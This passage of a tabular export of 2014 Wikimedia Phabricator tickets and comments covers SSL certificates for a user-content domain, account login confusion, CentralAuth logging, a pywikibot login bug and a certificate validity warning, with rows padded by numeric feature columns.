 i'd rather not guess and wait a few days until Chase can work it out""",,,1411474900,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-41,True,1.25,0.0,0.25,1.75,1.0,5.0,0.75,0.0,0.0,0.25,1.25,1.5,0.0,0.0,0.75,3.0,0.25,4.75,13.25,0.0,0.75,0.0,0.0,0.0,0.5,0.25,0.0,1.0,0.5,0.75,0.0,6.75,1.0,2.75,0.75,0.0,0.0,0.25,2.0,1.0,0.5,0.25,0.25,1.5,0.0,0.5,0.0,0.25,0.0,12.5,1.25,2.0,0.25,0.25,0.0,0.0,0.0,0.25,0.75,0.0,0.5,1.0,0.0,0.75,0.25,0.25,0.0,3.75,3.5,9.25,2.0,3.0,7.25,0.0,0.0,0.0,0.0,2.5,0.25,0.0,0.0,6.0,13.25,5.0,0.0,2.25,0.0,6.0,0.0,1.5,0.75,0.0,1.25,0.25,0.0,0.25,3.668352059925094,0.6666042446941323,"Drifting from ""certificate""-only topic into general ""separate server for attachments and setting that up"" land. 
Status summary, as far as I understand it:

* Registering wmfusercontent.org (URL is closed as resolved, and it's also in our DNS already.
* The procurement ticket for the purchase of the certificate is closed as resolved: URL
* Setting up the multiple certs on nginx on the misc varnish cluster / Set up SNI on misc-web-lb (URL is also resolved, but according to Mark's comment from last week ""The backend of this hasn't been deployed yet, so more Varnish and Apache work is needed for Phabricator, but I believe that is outside the scope of this ticket."" There's not an RT ticket to follow for every related task (overhead) so it's not entirely clear from the outside where we're at. After above comment these followup patches exist(ed) which I am aware of:
** URL
** URL URL
** URL URL URL
** I //assume// the outstanding next patch is: URL

I've asked Mark on IRC today: He wrote that ""the nginx stuff is all done, sni/nginx that is. i finished that on thursday last week. but there's no backend setup for it yet that I'm aware of"".

Backend setup ""means, a web server vhost on the phabricator needs to be setup for it that varnish will talk to
 and phabricator needs to be configured for it
 and it all depends on how phabricator handles that
 so yeah, we could do that, but i have no idea if that'd be consistent with the plans for it, and given that there are security implications of it all
 i'd rather not guess and wait a few days until Chase can work it out"""
2517,get certificate for phab.wmfusercontent.org,">>! In T373#5, @Qgil wrote:
> So I propose to uninstall Files

We cannot --- ""This application is required for Phabricator to operate, so all users must have access to it.""",,,1411067112,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-41,True,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8928571428571429,"QUOTE
QUOTE

We cannot --- ""This application is required for Phabricator to operate, so all users must have access to it."""
2484,get certificate for phab.wmfusercontent.org,"So I propose to uninstall Files and open LDAP. The only reason to keep LDAP closed is that we don't want people to upoload files, right?",,,1410980737,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,13.0,7.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.9,"So I propose to uninstall Files and open LDAP. The only reason to keep LDAP closed is that we don't want people to upoload files, right?"
2358,get certificate for phab.wmfusercontent.org,"**dzahn** wrote on `2014-08-28 01:29:18 (UTC)`

and i would request *.wmfusercontent.org right away, i _think_ we want a unified one in this case, not a separate one for each service to come. that being said, if we actually kill BZ, what else IS going to use it?  technically, lists.wm allows users to upload stuff",,,1410486392,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,10.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,4.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,9.0,10.0,3.0,1.0,0.0,0.0,9.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.5441176470588234,0.7794117647058824,"**dzahn** wrote on CODE

and i would request *.wmfusercontent.org right away, i _think_ we want a unified one in this case, not a separate one for each service to come. that being said, if we actually kill BZ, what else IS going to use it?  technically, lists.wm allows users to upload stuff"
2357,get certificate for phab.wmfusercontent.org,"**dzahn** wrote on `2014-08-28 01:27:43 (UTC)`

you should ping RobH about this",,,1410486392,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-vdwnq7zdfkfzyzva3obb,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.8,"**dzahn** wrote on CODE

you should ping RobH about this"
76117,User Name from Wikipedia can't be used to login to phabricator,"On wikipedia I use Yurivict.
When I try to login to phabricator, wikipedia password doesn't work.
""Login or Register"" button on the ""Login or Register with LDAP"" screen doesn't lead to ""Register"" function at all, only to ""Login"".

Login screen on https://www.mediawiki.org/ says there is no Yurivict account, but when I try to create the Yurivict account there, it fails and says there the similar account.

So I had to bail out and create this Yuri271 acct to even be able to create this PR. All these problems defeat the purpose of ""Sinogle login"".

Also you IMO don't need to tell users LDAP login, this only introduces another concept (LDAP) in addition to MediaWiki, WikiMedia, WikiPedia.

Now this leaves me confused, and unable to use single login at all.",Needs Triage,90.0,1417050177,1417056465.0,PHID-USER-hpjcdugjiwaoiwgklhnd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ohpp4da3hkjed775yze7,task_description,declined,True,c3,1,False,False,True,-31,True,1.5,0.0,0.0,0.0,1.5,3.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.5,2.5,0.0,10.0,11.0,0.0,4.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,1.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,11.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,2.0,1.0,17.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.0,11.0,9.0,0.0,5.0,0.0,4.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,3.716867469879518,0.6265060240963856,"On wikipedia I use Yurivict.
When I try to login to phabricator, wikipedia password doesn't work.
""Login or Register"" button on the ""Login or Register with LDAP"" screen doesn't lead to ""Register"" function at all, only to ""Login"".

Login screen on URL says there is no Yurivict account, but when I try to create the Yurivict account there, it fails and says there the similar account.

So I had to bail out and create this Yuri271 acct to even be able to create this PR. All these problems defeat the purpose of ""Sinogle login"".

Also you IMO don't need to tell users LDAP login, this only introduces another concept (LDAP) in addition to MediaWiki, WikiMedia, WikiPedia.

Now this leaves me confused, and unable to use single login at all."
333853,User Name from Wikipedia can't be used to login to phabricator,"https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account  states ""If that doesn't work, try unifying your account. Finally, if you can not unify your account (or don't have an account at all yet), signup for MediaWiki.org.""

I'm sorry but there is nothing that could be fixed in Phabricator itself - this needs to be handled by following https://meta.wikimedia.org/wiki/Help:Unified_login#How_to_unify_your_accounts instead.",,,1417056465,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,1.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,3.0,4.0,0.0,0.0,1.0,1.0,0.0,12.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,10.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,3.0,0.0,7.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.6865671641791047,0.8208955223880597,"URL  states ""If that doesn't work, try unifying your account. Finally, if you can not unify your account (or don't have an account at all yet), signup for MediaWiki.org.""

I'm sorry but there is nothing that could be fixed in Phabricator itself - this needs to be handled by following URL instead."
333847,User Name from Wikipedia can't be used to login to phabricator,"Once mediawiki rejects new account due to the name similarity, it should offer the user to consolidate login IMO. Ask for the password for that other login, and ask to offer to consolidate, if consolidation is a desirable in general.

I only wanted to report some unrelated bug in wikipedia, googled my way to phabricator and got lost in the login process in it.",,,1417054635,,PHID-USER-hpjcdugjiwaoiwgklhnd,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,False,,,-31,True,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,21.0,0.0,7.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,6.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,21.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.6805555555555556,"Once mediawiki rejects new account due to the name similarity, it should offer the user to consolidate login IMO. Ask for the password for that other login, and ask to offer to consolidate, if consolidation is a desirable in general.

I only wanted to report some unrelated bug in wikipedia, googled my way to phabricator and got lost in the login process in it."
333815,User Name from Wikipedia can't be used to login to phabricator,"https://en.wikipedia.org/wiki/Special:CentralAuth/Yurivict

It looks like currently you don't have a global (across Wikimedia wikis) account, just a local (English Wikipedia) account. Once you create a global account, login via mediawiki.org should work.",,,1417050401,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,4.146341463414634,0.7560975609756098,"URL

It looks like currently you don't have a global (across Wikimedia wikis) account, just a local (English Wikipedia) account. Once you create a global account, login via mediawiki.org should work."
333814,User Name from Wikipedia can't be used to login to phabricator,"LDAP login is for specific users that have an account on wikitech... Users who have that access would likely know

The problem is you don't have a global account see https://en.wikipedia.org/wiki/Special:CentralAuth/Yurivict

This is part of a wider issue, which already has an issue for it",,,1417050398,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ohpp4da3hkjed775yze7,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,10.0,6.0,10.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,0.0,0.0,2.0,0.0,0.0,3.86,0.78,"LDAP login is for specific users that have an account on wikitech... Users who have that access would likely know

The problem is you don't have a global account see URL

This is part of a wider issue, which already has an issue for it"
75929,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,"See: https://logstash-beta.wmflabs.org/#dashboard/temp/2SNGw0-8S1CRMRhiSZdiVA

I'm only calling this out because:
1. It's far and ahead the noisiest log there is
2. This is logging stuff that we don't log in prod, right?",Needs Triage,90.0,1416952213,1417470652.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_description,declined,True,c3,1,True,True,True,-32,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,5.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,7.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,2.9761904761904763,0.8809523809523809,"See: URL

I'm only calling this out because:
1. It's far and ahead the noisiest log there is
2. This is logging stuff that we don't log in prod, right?"
334982,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,">>! In T75929#786170, @Legoktm wrote:
> All of those are logged in prod as well. The migration stuff has been useful in debugging weird errors imo.

Fine then :) Really, that's the right answer. Thanks.",,,1417470652,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,29.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,0.8823529411764706,"QUOTE
QUOTE

Fine then :) Really, that's the right answer. Thanks."
333170,CentralAuth logging a lot (login attempts/successes/etc) on Beta Cluster,All of those are logged in prod as well. The migration stuff has been useful in debugging weird errors imo.,,,1416953328,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-3uvn5qxa4eq3fjyicnbd,task_subcomment,,True,c3,1,True,,,-32,True,5.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9090909090909091,All of those are logged in prod as well. The migration stuff has been useful in debugging weird errors imo.
75533,login requests password when the API says the username doesnt exist,"The API returns result 'NotExists', but pywikibot prompts for a password

DEBUG:pywiki.data.api:API response received from vikidia:en:
{""login"":{""result"":""NotExists""}}
ERROR: Login failed (NotExists).
ERROR:pywiki:Login failed (NotExists).
Password for user Jayvdb on vikidia:en (no characters will be shown):

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=73539",Needs Triage,90.0,1416267900,1416380573.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-nwsogwlpzqkl35khmtx5,task_description,resolved,True,c3,1,True,False,True,-33,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,18.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.707070707070707,0.5353535353535354,"The API returns result 'NotExists', but pywikibot prompts for a password

DEBUG:pywiki.data.api:API response received from vikidia:en:
{""login"":{""result"":""NotExists""}}
ERROR: Login failed (NotExists).
ERROR:pywiki:Login failed (NotExists).
Password for user Jayvdb on vikidia:en (no characters will be shown):

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
URL"
325601,login requests password when the API says the username doesnt exist,"**gerritadmin** wrote:

Change 174035 merged by jenkins-bot:
Stop login retrying if username is invalid

https://gerrit.wikimedia.org/r/174035",,,1416365873,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nwsogwlpzqkl35khmtx5,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.8076923076923077,"**gerritadmin** wrote:

Change 174035 merged by jenkins-bot:
Stop login retrying if username is invalid

GERRIT_URL"
325596,login requests password when the API says the username doesnt exist,"**gerritadmin** wrote:

Change 174035 had a related patch set uploaded by John Vandenberg:
Stop login retrying if username is invalid

https://gerrit.wikimedia.org/r/174035",,,1416280902,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nwsogwlpzqkl35khmtx5,task_subcomment,,True,c3,1,False,,,-33,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.266666666666667,0.8333333333333334,"**gerritadmin** wrote:

Change 174035 had a related patch set uploaded by John Vandenberg:
Stop login retrying if username is invalid

GERRIT_URL"
75190,bugzilla.wikimedia.org certificate validity period too long,"Apparently Chrome Canary is unhappy with a certificate expiring in 2017 now.  I'm not sure if this has anything to do with the SHA-1 signature.

You attempted to reach bugzilla.wikimedia.org, but the server presented a certificate for which the period is too long.

NET::ERR_CERT_VALIDITY_TOO_LONG

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.2 Safari/537.36

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1415517300,1415538938.0,PHID-USER-gct3jslngczd4jvmyy6e,False,,False,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_description,resolved,True,c3,1,False,False,True,-34,True,0.0,1.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,23.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,14.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,4.697916666666667,0.7291666666666666,"Apparently Chrome Canary is unhappy with a certificate expiring in 2017 now.  I'm not sure if this has anything to do with the SHA-1 signature.

You attempted to reach bugzilla.wikimedia.org, but the server presented a certificate for which the period is too long.

NET::ERR_CERT_VALIDITY_TOO_LONG

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.2 Safari/537.36

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
332084,bugzilla.wikimedia.org certificate validity period too long,"Hi Jimmy. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 71156 ***",,,1415538938,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,True,,,-34,True,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,5.0,4.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.767857142857143,0.7678571428571429,"Hi Jimmy. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 71156 ***"
332083,bugzilla.wikimedia.org certificate validity period too long,"Related Chromium bug: https://code.google.com/p/chromium/issues/detail?id=119211

Looks like the validity of the certificate should not exceed 39 months, with some exceptions.",,,1415520138,,PHID-USER-egb2rrk2oesw3bub7som,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,False,,,-34,True,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,0.9565217391304348,"Related Chromium bug: URL

Looks like the validity of the certificate should not exceed 39 months, with some exceptions."
332082,bugzilla.wikimedia.org certificate validity period too long,The same error for gerrit.wikimedia.org.  However phabricator seem to be fine.,,,1415517420,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-rqsd7x4yoy3qwzqqwof3,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,0.9285714285714286,The same error for gerrit.wikimedia.org.  However phabricator seem to be fine.
74980,Errors not styled as errors on login form,"error

--------------------------
**Version**: unspecified
**Severity**: normal

